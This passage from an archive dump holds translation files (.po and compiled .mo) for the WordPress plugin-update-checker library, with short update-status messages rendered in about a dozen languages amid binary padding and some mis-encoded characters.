plural=(n != 1);\n" "X-Poedit-SourceCharset: UTF-8\n" "X-Poedit-KeywordsList: __;_e;_x:1,2c;_x\n" "Last-Translator: Frank Goossens <frank@optimizingmatters.com>\n" "Language: nl_BE\n" "X-Poedit-SearchPath-0: .\n" #: Puc/v4p3/Plugin/UpdateChecker.php:395 msgid "Check for updates" msgstr "Controleer op nieuwe versies" #: Puc/v4p3/Plugin/UpdateChecker.php:548 #, php-format msgctxt "the plugin title" msgid "The %s plugin is up to date." msgstr "De meest recente %s versie is geïnstalleerd." #: Puc/v4p3/Plugin/UpdateChecker.php:550 #, php-format msgctxt "the plugin title" msgid "A new version of the %s plugin is available." msgstr "Er is een nieuwe versie van %s beschikbaar." #: Puc/v4p3/Plugin/UpdateChecker.php:552 #, php-format msgctxt "the plugin title" msgid "Could not determine if updates are available for %s." msgstr "Kon niet bepalen of er nieuwe versie van %s beschikbaar is." #: Puc/v4p3/Plugin/UpdateChecker.php:558 #, php-format msgid "Unknown update checker status \"%s\"" msgstr "Ongekende status bij controle op nieuwe versie: \"%s\"" #: Puc/v4p3/Vcs/PluginUpdateChecker.php:95 msgid "There is no changelog available." msgstr "Er is geen changelog beschikbaar." ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/languages/plugin-update-checker-tr_TR.po���������������������������������������������0000644�����������������00000002732�14757771437�0017200 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������msgid "" msgstr "" "Project-Id-Version: plugin-update-checker\n" "POT-Creation-Date: 2017-11-24 17:02+0200\n" "PO-Revision-Date: 2021-11-15 19:07+0300\n" "Language-Team: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Poedit 3.0\n" "X-Poedit-Basepath: ..\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Poedit-SourceCharset: UTF-8\n" "X-Poedit-KeywordsList: __;_e;_x:1,2c;_x\n" "Last-Translator: Emre Erkan <kara@karalamalar.net>\n" "Language: tr\n" "X-Poedit-SearchPath-0: .\n" #: Puc/v4p3/Plugin/UpdateChecker.php:395 msgid "Check for updates" msgstr "Güncellemeleri kontrol et" #: Puc/v4p3/Plugin/UpdateChecker.php:548 #, php-format msgctxt "the plugin title" msgid "The %s plugin is up to date." msgstr "%s eklentisi güncel." #: Puc/v4p3/Plugin/UpdateChecker.php:550 #, php-format msgctxt "the plugin title" msgid "A new version of the %s plugin is available." msgstr "%s eklentisinin yeni bir sürümü mevcut." #: Puc/v4p3/Plugin/UpdateChecker.php:552 #, php-format msgctxt "the plugin title" msgid "Could not determine if updates are available for %s." msgstr "%s için güncelleme olup olmadığı belirlenemedi." #: Puc/v4p3/Plugin/UpdateChecker.php:558 #, php-format msgid "Unknown update checker status \"%s\"" msgstr "Bilinmeyen güncelleme denetleyicisi durumu \"%s\"" #: Puc/v4p3/Vcs/PluginUpdateChecker.php:95 msgid "There is no changelog available." msgstr "Kullanılabilir bir deÄŸiÅŸiklik yok." ��������������������������������������update-checker/languages/plugin-update-checker-es_CO.mo���������������������������������������������0000644�����������������00000002164�14757771437�0017132 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Þ•����������T��� ���Œ�������¸������¹��� ���Ë���"���ì���=�����E���M��-���“��–��Á�� ���X��)���y��;���£��2���ß��A��������T����������������������������������������Check for updates�There is no changelog available.�Unknown update checker status "%s"�the plugin titleA new version of the %s plugin is available.�the plugin titleCould not determine if updates are available for %s.�the plugin titleThe %s plugin is up to date.�Project-Id-Version: plugin-update-checker PO-Revision-Date: 2020-03-21 15:14-0400 Language-Team: MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Generator: Poedit 2.3 X-Poedit-Basepath: .. Plural-Forms: nplurals=2; plural=(n != 1); X-Poedit-SourceCharset: UTF-8 X-Poedit-KeywordsList: __;_e;_x:1,2c;_x Last-Translator: Language: es_ES X-Poedit-SearchPath-0: . �Comprobar si hay actualizaciones�No hay un registro de cambios disponible.�Estado del comprobador de actualización desconocido «%s»�Una nueva versión del %s plugin está disponible.�No se pudo determinar si hay actualizaciones disponibles para %s.�El plugin %s está actualizado.�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/languages/plugin-update-checker-fr_CA.po���������������������������������������������0000644�����������������00000003020�14757771437�0017107 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������msgid "" msgstr "" "Project-Id-Version: plugin-update-checker\n" "POT-Creation-Date: 2017-11-24 17:02+0200\n" "PO-Revision-Date: 2018-02-12 10:32-0500\n" "Language-Team: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Poedit 2.0.4\n" "X-Poedit-Basepath: ..\n" "Plural-Forms: nplurals=2; plural=(n > 1);\n" "X-Poedit-SourceCharset: UTF-8\n" "X-Poedit-KeywordsList: __;_e;_x:1,2c;_x\n" "Last-Translator: Eric Gagnon <eric.gagnon@banq.qc.ca>\n" "Language: fr_CA\n" "X-Poedit-SearchPath-0: .\n" #: Puc/v4p3/Plugin/UpdateChecker.php:395 msgid "Check for updates" msgstr "Vérifier les mises à jour" #: Puc/v4p3/Plugin/UpdateChecker.php:548 #, php-format msgctxt "the plugin title" msgid "The %s plugin is up to date." msgstr "L’extension %s est à jour." #: Puc/v4p3/Plugin/UpdateChecker.php:550 #, php-format msgctxt "the plugin title" msgid "A new version of the %s plugin is available." msgstr "Une nouvelle version de l’extension %s est disponible." #: Puc/v4p3/Plugin/UpdateChecker.php:552 #, php-format msgctxt "the plugin title" msgid "Could not determine if updates are available for %s." msgstr "Impossible de déterminer si une mise à jour est disponible pour \"%s\"" #: Puc/v4p3/Plugin/UpdateChecker.php:558 #, php-format msgid "Unknown update checker status \"%s\"" msgstr "Un problème inconnu est survenu \"%s\"" #: Puc/v4p3/Vcs/PluginUpdateChecker.php:95 msgid "There is no changelog available." msgstr "Il n’y a aucun journal de mise à jour disponible." ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/languages/plugin-update-checker-cs_CZ.mo���������������������������������������������0000644�����������������00000002065�14757771437�0017143 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Þ•����������L�������|�������|������}��� ������"���°���=���Ó���-�����W��?�����—�����°��+���Ë��$���÷��������Check for updates�There is no changelog available.�Unknown update checker status "%s"�the plugin titleA new version of the %s plugin is available.�the plugin titleThe %s plugin is up to date.�Project-Id-Version: plugin-update-checker Report-Msgid-Bugs-To: POT-Creation-Date: 2017-05-20 10:53+0300 PO-Revision-Date: 2017-07-05 15:39+0000 Last-Translator: VojtÄ›ch Sajdl <vojtech@sajdl.com> Language-Team: Czech (Czech Republic) Language: cs-CZ Plural-Forms: nplurals=2; plural=(n != 1) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Loco-Source-Locale: cs_CZ X-Generator: Loco - https://localise.biz/ X-Poedit-Basepath: .. X-Poedit-SourceCharset: UTF-8 X-Poedit-KeywordsList: __;_e;_x:1,2c;_x X-Poedit-SearchPath-0: . X-Loco-Parser: loco_parse_po�Zkontrolovat aktualizace�Changelog není dostupný.�Neznámý status kontroly aktualizací "%s"�Nová verze pluginu %s je dostupná.�Plugin %s je aktuální.����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/languages/plugin-update-checker-nl_BE.mo���������������������������������������������0000644�����������������00000002273�14757771437�0017122 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Þ•����������T��� ���Œ�������¸������¹��� ���Ë���"���ì���=�����E���M��-���“��ï��Á�����±��!���Î��4���ð��+���%��;���Q��-�������������������������������������������Check for updates�There is no changelog available.�Unknown update checker status "%s"�the plugin titleA new version of the %s plugin is available.�the plugin titleCould not determine if updates are available for %s.�the plugin titleThe %s plugin is up to date.�Project-Id-Version: plugin-update-checker POT-Creation-Date: 2018-03-25 18:15+0200 PO-Revision-Date: 2018-03-25 18:32+0200 Language-Team: MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Generator: Poedit 1.8.7.1 X-Poedit-Basepath: .. Plural-Forms: nplurals=2; plural=(n != 1); X-Poedit-SourceCharset: UTF-8 X-Poedit-KeywordsList: __;_e;_x:1,2c;_x Last-Translator: Frank Goossens <frank@optimizingmatters.com> Language: nl_BE X-Poedit-SearchPath-0: . �Controleer op nieuwe versies�Er is geen changelog beschikbaar.�Ongekende status bij controle op nieuwe versie: "%s"�Er is een nieuwe versie van %s beschikbaar.�Kon niet bepalen of er nieuwe versie van %s beschikbaar is.�De meest recente %s versie is geïnstalleerd.��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/languages/plugin-update-checker-es_MX.po���������������������������������������������0000644�����������������00000002756�14757771437�0017167 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������msgid "" msgstr "" "Project-Id-Version: plugin-update-checker\n" "POT-Creation-Date: 2017-11-24 17:02+0200\n" "PO-Revision-Date: 2020-03-21 14:57-0400\n" "Language-Team: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Poedit 2.3\n" "X-Poedit-Basepath: ..\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Poedit-SourceCharset: UTF-8\n" "X-Poedit-KeywordsList: __;_e;_x:1,2c;_x\n" "Last-Translator: \n" "Language: es_ES\n" "X-Poedit-SearchPath-0: .\n" #: Puc/v4p3/Plugin/UpdateChecker.php:395 msgid "Check for updates" msgstr "Comprobar si hay actualizaciones" #: Puc/v4p3/Plugin/UpdateChecker.php:548 #, php-format msgctxt "the plugin title" msgid "The %s plugin is up to date." msgstr "El plugin %s está actualizado." #: Puc/v4p3/Plugin/UpdateChecker.php:550 #, php-format msgctxt "the plugin title" msgid "A new version of the %s plugin is available." msgstr "Una nueva versión del %s plugin está disponible." #: Puc/v4p3/Plugin/UpdateChecker.php:552 #, php-format msgctxt "the plugin title" msgid "Could not determine if updates are available for %s." msgstr "No se pudo determinar si hay actualizaciones disponibles para %s." #: Puc/v4p3/Plugin/UpdateChecker.php:558 #, php-format msgid "Unknown update checker status \"%s\"" msgstr "Estado del comprobador de actualización desconocido «%s»" #: Puc/v4p3/Vcs/PluginUpdateChecker.php:95 msgid "There is no changelog available." msgstr "No hay un registro de cambios disponible." ������������������update-checker/languages/plugin-update-checker-tr_TR.mo���������������������������������������������0000644�����������������00000002136�14757771437�0017173 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Þ•����������T��� ���Œ�������¸������¹��� ���Ë���"���ì���=�����E���M��-���“��´��Á�����v��%���‘��0���·��*���è��4��������H����������������������������������������Check for updates�There is no changelog available.�Unknown update checker status "%s"�the plugin titleA new version of the %s plugin is available.�the plugin titleCould not determine if updates are available for %s.�the plugin titleThe %s plugin is up to date.�Project-Id-Version: plugin-update-checker PO-Revision-Date: 2021-11-15 19:07+0300 Language-Team: MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Generator: Poedit 3.0 X-Poedit-Basepath: .. Plural-Forms: nplurals=2; plural=(n != 1); X-Poedit-SourceCharset: UTF-8 X-Poedit-KeywordsList: __;_e;_x:1,2c;_x Last-Translator: Emre Erkan <kara@karalamalar.net> Language: tr X-Poedit-SearchPath-0: . �Güncellemeleri kontrol et�Kullanılabilir bir deÄŸiÅŸiklik yok.�Bilinmeyen güncelleme denetleyicisi durumu "%s"�%s eklentisinin yeni bir sürümü mevcut.�%s için güncelleme olup olmadığı belirlenemedi.�%s eklentisi güncel.�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/languages/plugin-update-checker-es_UY.mo���������������������������������������������0000644�����������������00000002164�14757771437�0017166 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Þ•����������T��� ���Œ�������¸������¹��� ���Ë���"���ì���=�����E���M��-���“��–��Á�� ���X��)���y��;���£��2���ß��A��������T����������������������������������������Check for updates�There is no changelog available.�Unknown update checker status "%s"�the plugin titleA new version of the %s plugin is available.�the plugin titleCould not determine if updates are available for %s.�the plugin titleThe %s plugin is up to date.�Project-Id-Version: plugin-update-checker PO-Revision-Date: 2020-03-21 15:15-0400 Language-Team: MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Generator: Poedit 2.3 X-Poedit-Basepath: .. Plural-Forms: nplurals=2; plural=(n != 1); X-Poedit-SourceCharset: UTF-8 X-Poedit-KeywordsList: __;_e;_x:1,2c;_x Last-Translator: Language: es_ES X-Poedit-SearchPath-0: . �Comprobar si hay actualizaciones�No hay un registro de cambios disponible.�Estado del comprobador de actualización desconocido «%s»�Una nueva versión del %s plugin está disponible.�No se pudo determinar si hay actualizaciones disponibles para %s.�El plugin %s está actualizado.�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/languages/plugin-update-checker-sl_SI.mo���������������������������������������������0000644�����������������00000002263�14757771437�0017153 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Þ•����������T��� ���Œ�������¸������¹��� ���Ë���"���ì���=�����E���M��-���“��ü��Á�����¾��!���Ò��-���ô��-���"��B���P�����“����������������������������������������Check for updates�There is no changelog available.�Unknown update checker status "%s"�the plugin titleA new version of the %s plugin is available.�the plugin titleCould not determine if updates are available for %s.�the plugin titleThe %s plugin is up to date.�Project-Id-Version: plugin-update-checker POT-Creation-Date: 2017-11-24 17:02+0200 PO-Revision-Date: 2018-10-27 20:36+0200 Language-Team: MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Generator: Poedit 2.2 X-Poedit-Basepath: .. Plural-Forms: nplurals=4; plural=(n%100==1 ? 0 : n%100==2 ? 1 : n%100>=3 && n%100<=4 ? 2 : 3); X-Poedit-SourceCharset: UTF-8 X-Poedit-KeywordsList: __;_e;_x:1,2c;_x Last-Translator: Igor Funa Language: sl_SI X-Poedit-SearchPath-0: . �Preveri posodobitve�Dnevnik sprememb ni na razpolago.�Neznan status preverjanja posodobitev za "%s"�Nova razliÄica vtiÄnika %s je na razpolago.�Ne morem ugotoviti Äe se za vtiÄnik %s na razpolago posodobitve.�VtiÄnik %s je že posodobljen.����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/languages/plugin-update-checker-de_DE.po���������������������������������������������0000644�����������������00000002203�14757771437�0017077 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������msgid "" msgstr "" "Project-Id-Version: plugin-update-checker\n" "POT-Creation-Date: 2016-06-29 20:21+0100\n" "PO-Revision-Date: 2016-06-29 20:23+0100\n" "Last-Translator: Igor Lückel <info@igorlueckel.de>\n" "Language-Team: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Poedit 1.8.1\n" "X-Poedit-Basepath: ..\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Poedit-SourceCharset: UTF-8\n" "X-Poedit-KeywordsList: __;_e\n" "Language: de_DE\n" "X-Poedit-SearchPath-0: .\n" #: github-checker.php:137 msgid "There is no changelog available." msgstr "Es ist keine Liste von Programmänderungen verfügbar." #: plugin-update-checker.php:852 msgid "Check for updates" msgstr "Nach Update suchen" #: plugin-update-checker.php:896 msgid "This plugin is up to date." msgstr "Das Plugin ist aktuell." #: plugin-update-checker.php:898 msgid "A new version of this plugin is available." msgstr "Es ist eine neue Version für das Plugin verfügbar." #: plugin-update-checker.php:900 #, php-format msgid "Unknown update checker status \"%s\"" msgstr "Unbekannter Update Status \"%s\"" ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/languages/plugin-update-checker-fa_IR.po���������������������������������������������0000644�����������������00000002427�14757771437�0017127 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������msgid "" msgstr "" "Project-Id-Version: plugin-update-checker\n" "POT-Creation-Date: 2016-02-17 14:21+0100\n" "PO-Revision-Date: 2016-10-28 14:30+0330\n" "Last-Translator: studio RVOLA <hello@rvola.com>\n" "Language-Team: Pro Style <info@prostyle.ir>\n" "Language: fa_IR\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Poedit 1.8.8\n" "X-Poedit-Basepath: ..\n" "Plural-Forms: nplurals=2; plural=(n > 1);\n" "X-Poedit-SourceCharset: UTF-8\n" "X-Poedit-KeywordsList: __;_e\n" "X-Poedit-SearchPath-0: .\n" #: github-checker.php:120 msgid "There is no changelog available." msgstr "شرحی برای تغییرات یاÙت نشد" #: plugin-update-checker.php:637 msgid "Check for updates" msgstr "بررسی برای بروزرسانی " #: plugin-update-checker.php:681 msgid "This plugin is up to date." msgstr "شما از آخرین نسخه استÙاده میکنید . به‌روز باشید" #: plugin-update-checker.php:683 msgid "A new version of this plugin is available." msgstr "نسخه جدیدی برای اÙزونه ارائه شده است ." #: plugin-update-checker.php:685 #, php-format msgid "Unknown update checker status \"%s\"" msgstr "وضعیت ناشناخته برای بروزرسانی \"%s\"" �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/languages/plugin-update-checker-es_DO.po���������������������������������������������0000644�����������������00000002756�14757771437�0017145 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������msgid "" msgstr "" "Project-Id-Version: plugin-update-checker\n" "POT-Creation-Date: 2017-11-24 17:02+0200\n" "PO-Revision-Date: 2020-03-21 15:14-0400\n" "Language-Team: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Poedit 2.3\n" "X-Poedit-Basepath: ..\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Poedit-SourceCharset: UTF-8\n" "X-Poedit-KeywordsList: __;_e;_x:1,2c;_x\n" "Last-Translator: \n" "Language: es_ES\n" "X-Poedit-SearchPath-0: .\n" #: Puc/v4p3/Plugin/UpdateChecker.php:395 msgid "Check for updates" msgstr "Comprobar si hay actualizaciones" #: Puc/v4p3/Plugin/UpdateChecker.php:548 #, php-format msgctxt "the plugin title" msgid "The %s plugin is up to date." msgstr "El plugin %s está actualizado." #: Puc/v4p3/Plugin/UpdateChecker.php:550 #, php-format msgctxt "the plugin title" msgid "A new version of the %s plugin is available." msgstr "Una nueva versión del %s plugin está disponible." #: Puc/v4p3/Plugin/UpdateChecker.php:552 #, php-format msgctxt "the plugin title" msgid "Could not determine if updates are available for %s." msgstr "No se pudo determinar si hay actualizaciones disponibles para %s." #: Puc/v4p3/Plugin/UpdateChecker.php:558 #, php-format msgid "Unknown update checker status \"%s\"" msgstr "Estado del comprobador de actualización desconocido «%s»" #: Puc/v4p3/Vcs/PluginUpdateChecker.php:95 msgid "There is no changelog available." msgstr "No hay un registro de cambios disponible." ������������������update-checker/languages/plugin-update-checker-fr_CA.mo���������������������������������������������0000644�����������������00000002270�14757771437�0017112 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Þ•����������T��� ���Œ�������¸������¹��� ���Ë���"���ì���=�����E���M��-���“��á��Á�����£��4���¿��%���ô��8�����F���S�����š����������������������������������������Check for updates�There is no changelog available.�Unknown update checker status "%s"�the plugin titleA new version of the %s plugin is available.�the plugin titleCould not determine if updates are available for %s.�the plugin titleThe %s plugin is up to date.�Project-Id-Version: plugin-update-checker POT-Creation-Date: 2017-11-24 17:02+0200 PO-Revision-Date: 2018-02-12 10:32-0500 Language-Team: MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Generator: Poedit 2.0.4 X-Poedit-Basepath: .. Plural-Forms: nplurals=2; plural=(n > 1); X-Poedit-SourceCharset: UTF-8 X-Poedit-KeywordsList: __;_e;_x:1,2c;_x Last-Translator: devanonyme <devanonyme@gmail.com> Language: fr_CA X-Poedit-SearchPath-0: . �Vérifier les mises à jour�Il n’y a aucun journal de mise à jour disponible.�Un problème inconnu est survenu "%s"�Une nouvelle version de l’extension %s est disponible.�Impossible de déterminer si une mise à jour est disponible pour "%s"�L’extension %s est à jour.�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/languages/plugin-update-checker-es_VE.mo���������������������������������������������0000644�����������������00000002164�14757771437�0017143 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Þ•����������T��� ���Œ�������¸������¹��� ���Ë���"���ì���=�����E���M��-���“��–��Á�� ���X��)���y��;���£��2���ß��A��������T����������������������������������������Check for updates�There is no changelog available.�Unknown update checker status "%s"�the plugin titleA new version of the %s plugin is available.�the plugin titleCould not determine if updates are available for %s.�the plugin titleThe %s plugin is up to date.�Project-Id-Version: plugin-update-checker PO-Revision-Date: 2020-03-21 14:57-0400 Language-Team: MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Generator: Poedit 2.3 X-Poedit-Basepath: .. Plural-Forms: nplurals=2; plural=(n != 1); X-Poedit-SourceCharset: UTF-8 X-Poedit-KeywordsList: __;_e;_x:1,2c;_x Last-Translator: Language: es_ES X-Poedit-SearchPath-0: . �Comprobar si hay actualizaciones�No hay un registro de cambios disponible.�Estado del comprobador de actualización desconocido «%s»�Una nueva versión del %s plugin está disponible.�No se pudo determinar si hay actualizaciones disponibles para %s.�El plugin %s está actualizado.�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/languages/plugin-update-checker-es_HN.mo���������������������������������������������0000644�����������������00000002164�14757771437�0017136 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Þ•����������T��� ���Œ�������¸������¹��� ���Ë���"���ì���=�����E���M��-���“��–��Á�� ���X��)���y��;���£��2���ß��A��������T����������������������������������������Check for updates�There is no changelog available.�Unknown update checker status "%s"�the plugin titleA new version of the %s plugin is available.�the plugin titleCould not determine if updates are available for %s.�the plugin titleThe %s plugin is up to date.�Project-Id-Version: plugin-update-checker PO-Revision-Date: 2020-03-21 15:14-0400 Language-Team: MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Generator: Poedit 2.3 X-Poedit-Basepath: .. Plural-Forms: nplurals=2; plural=(n != 1); X-Poedit-SourceCharset: UTF-8 X-Poedit-KeywordsList: __;_e;_x:1,2c;_x Last-Translator: Language: es_ES X-Poedit-SearchPath-0: . �Comprobar si hay actualizaciones�No hay un registro de cambios disponible.�Estado del comprobador de actualización desconocido «%s»�Una nueva versión del %s plugin está disponible.�No se pudo determinar si hay actualizaciones disponibles para %s.�El plugin %s está actualizado.�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/languages/plugin-update-checker-hu_HU.mo���������������������������������������������0000644�����������������00000001726�14757771437�0017155 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Þ•����������L��� ���|�������¨���*���©������Ô��� ���æ��������"���"��á��E��+���'�����S�����m�����Š��3���¢�����������������������������������������A new version of this plugin is available.�Check for updates�There is no changelog available.�This plugin is up to date.�Unknown update checker status "%s"�Project-Id-Version: plugin-update-checker POT-Creation-Date: 2016-01-11 21:23+0100 PO-Revision-Date: 2016-01-11 21:25+0100 Last-Translator: Tamás András Horváth <htomy92@gmail.com> Language-Team: Language: hu_HU MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Generator: Poedit 1.8.6 X-Poedit-Basepath: .. Plural-Forms: nplurals=2; plural=(n != 1); X-Poedit-SourceCharset: UTF-8 X-Poedit-KeywordsList: __;_e X-Poedit-SearchPath-0: . �Új verzió érhetÅ‘ el a kiegészítÅ‘höz�Frissítés ellenÅ‘rzése�Nem érhetÅ‘ el a changelog.�Ez a plugin naprakész.�Ismeretlen a frissítés ellenÅ‘rzÅ‘ státusza "%s"�������������������������������������������update-checker/languages/plugin-update-checker-pt_BR.mo���������������������������������������������0000644�����������������00000001766�14757771437�0017157 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Þ•����������L��� ���|�������¨������©��� ���»���"���Ü���=���ÿ���-���=��À��k�����,��"���E�����h��@���‚��2���Ã�����������������������������������������Check for updates�There is no changelog available.�Unknown update checker status "%s"�the plugin titleA new version of the %s plugin is available.�the plugin titleThe %s plugin is up to date.�Project-Id-Version: plugin-update-checker POT-Creation-Date: 2017-05-19 15:41-0300 PO-Revision-Date: 2017-05-19 15:42-0300 Last-Translator: Language-Team: Language: pt_BR MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Generator: Poedit 1.8.8 X-Poedit-Basepath: .. Plural-Forms: nplurals=2; plural=(n > 1); X-Poedit-SourceCharset: UTF-8 X-Poedit-KeywordsList: __;_e;_x;_x:1,2c X-Poedit-SearchPath-0: . �Verificar Atualizações�Não há um changelog disponível.�Status "%s" desconhecido.�Há uma nova versão para o plugin %s disponível para download.�O plugin %s já está na sua versão mais recente.�����������update-checker/languages/plugin-update-checker-es_MX.mo���������������������������������������������0000644�����������������00000002164�14757771437�0017155 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Þ•����������T��� ���Œ�������¸������¹��� ���Ë���"���ì���=�����E���M��-���“��–��Á�� ���X��)���y��;���£��2���ß��A��������T����������������������������������������Check for updates�There is no changelog available.�Unknown update checker status "%s"�the plugin titleA new version of the %s plugin is available.�the plugin titleCould not determine if updates are available for %s.�the plugin titleThe %s plugin is up to date.�Project-Id-Version: plugin-update-checker PO-Revision-Date: 2020-03-21 14:57-0400 Language-Team: MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Generator: Poedit 2.3 X-Poedit-Basepath: .. Plural-Forms: nplurals=2; plural=(n != 1); X-Poedit-SourceCharset: UTF-8 X-Poedit-KeywordsList: __;_e;_x:1,2c;_x Last-Translator: Language: es_ES X-Poedit-SearchPath-0: . �Comprobar si hay actualizaciones�No hay un registro de cambios disponible.�Estado del comprobador de actualización desconocido «%s»�Una nueva versión del %s plugin está disponible.�No se pudo determinar si hay actualizaciones disponibles para %s.�El plugin %s está actualizado.�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/languages/plugin-update-checker-es_CL.mo���������������������������������������������0000644�����������������00000002164�14757771437�0017127 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Þ•����������T��� ���Œ�������¸������¹��� ���Ë���"���ì���=�����E���M��-���“��–��Á�� ���X��)���y��;���£��2���ß��A��������T����������������������������������������Check for updates�There is no changelog available.�Unknown update checker status "%s"�the plugin titleA new version of the %s plugin is available.�the plugin titleCould not determine if updates are available for %s.�the plugin titleThe %s plugin is up to date.�Project-Id-Version: plugin-update-checker PO-Revision-Date: 2020-03-21 15:14-0400 Language-Team: MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Generator: Poedit 2.3 X-Poedit-Basepath: .. Plural-Forms: nplurals=2; plural=(n != 1); X-Poedit-SourceCharset: UTF-8 X-Poedit-KeywordsList: __;_e;_x:1,2c;_x Last-Translator: Language: es_ES X-Poedit-SearchPath-0: . �Comprobar si hay actualizaciones�No hay un registro de cambios disponible.�Estado del comprobador de actualización desconocido «%s»�Una nueva versión del %s plugin está disponible.�No se pudo determinar si hay actualizaciones disponibles para %s.�El plugin %s está 